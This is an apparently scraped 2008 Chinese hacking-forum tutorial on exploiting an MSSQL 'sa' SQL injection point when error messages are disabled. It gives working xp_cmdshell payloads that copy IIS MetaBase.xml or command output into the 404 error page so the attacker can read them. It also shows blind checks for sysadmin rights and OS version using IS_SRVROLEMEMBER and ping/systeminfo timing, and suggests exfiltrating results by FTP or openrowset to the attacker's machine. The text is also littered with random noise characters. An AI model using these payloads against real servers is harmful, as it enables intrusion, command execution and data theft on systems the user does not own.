遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。4 |$ Y$ E2 Q, O3 r5 a, l7 `4 N
/ K: I9 n9 `1 p- @7 B
虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
- I8 _ K, F7 Y% }
* i _8 S* x+ ?0 U 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
/ _" D d* y+ ^; J4 G, b
# b2 }; d; {' P5 e. j5 B IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm$ N5 V- y. k0 N6 M3 S
# r8 G0 q/ Z2 v8 j9 D, c5 H' t
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--, t) J# {# G) g8 l0 a7 A0 t+ k# `
, A8 V- N: d# `/ a* E0 {
,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。& c7 Z; o$ q* ~( g, a& _
6 X, x' x% b" U/ |* \! T, G( s 执行命令得到回显6 `& c/ `0 r8 F# p' \
; j7 f& z Z8 R1 f5 s+ k R
通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--# s$ r2 Q, L. z O/ h( V7 D
" H9 h) _$ }/ H c
得到文件也shi相同,把文件copy到404b.htm就行了
. k( @, b* v( `! m* r: F. d( @! \% L
, |9 D6 @6 h: ]. W by 28ice, 2008/6/263 R5 O: g& L7 V: S0 a
' L& S6 d4 E( W, ?7 b 摘自 28度的冰3 h1 |4 C2 u) P/ m, R
+ x/ m0 k7 P/ ~3 P6 D
盲注判断权限和操作系统版本
" A/ G) q& ?. }5 {4 t
) i. R y6 Q$ }& ]# p! { T' } 首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?
9 D* R: f7 P: p9 l8 L( Y- [- Y4 b( n& N& }
最简单的,可能以用这样的方法:
- _ j* U. c0 o6 G4 W; J4 d; j" ?6 }5 q+ \4 p
1=(select IS_SRVROLEMEMBER(’sysadmin’))
; Y$ r5 }7 e b2 l! J9 N9 [6 K6 W: y5 ]" }& I. v( d
当然,有些情况下,这个方法并不奏效。+ N: a+ ~' a5 z& }$ F2 g
0 ~8 h2 o9 ?+ y6 n
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。3 |/ H& j, x ]1 [6 K
\+ I; X$ K- O* |
有个3办法可能以解决这个问题0 h: ]9 U- w5 u
8 ~6 J6 S7 T" d {4 N0 W% S h% w
a.把执行结果写到404b.htm,具体请看我的上一篇文章" c) i! k) F, B
! p$ V5 d3 t/ F; t7 V" q b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟' e, a. ^! Q( j# }
8 X6 q0 \; _$ J; O/ ~4 [ c.如果1433端口可能以连接,那干脆新建个sql登录- Y; b+ V9 l$ \. y
- M6 ]$ W- \$ c. s8 _' W
d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数% u% a7 S# r& ^+ ?
J% T+ l8 i( `/ w: U' l 还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下% P' ~; F, k2 L# Y6 A- D9 b, `% C
; k* ]8 I# y. C" a0 q
很简单, T0 o; Z3 m$ \" d. H
7 d* @3 @& V2 u. s: ~7 c$ F
执行systeminfo
, K- \7 _/ U" L+ v' A3 u
3 P% y2 D9 w0 H 在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |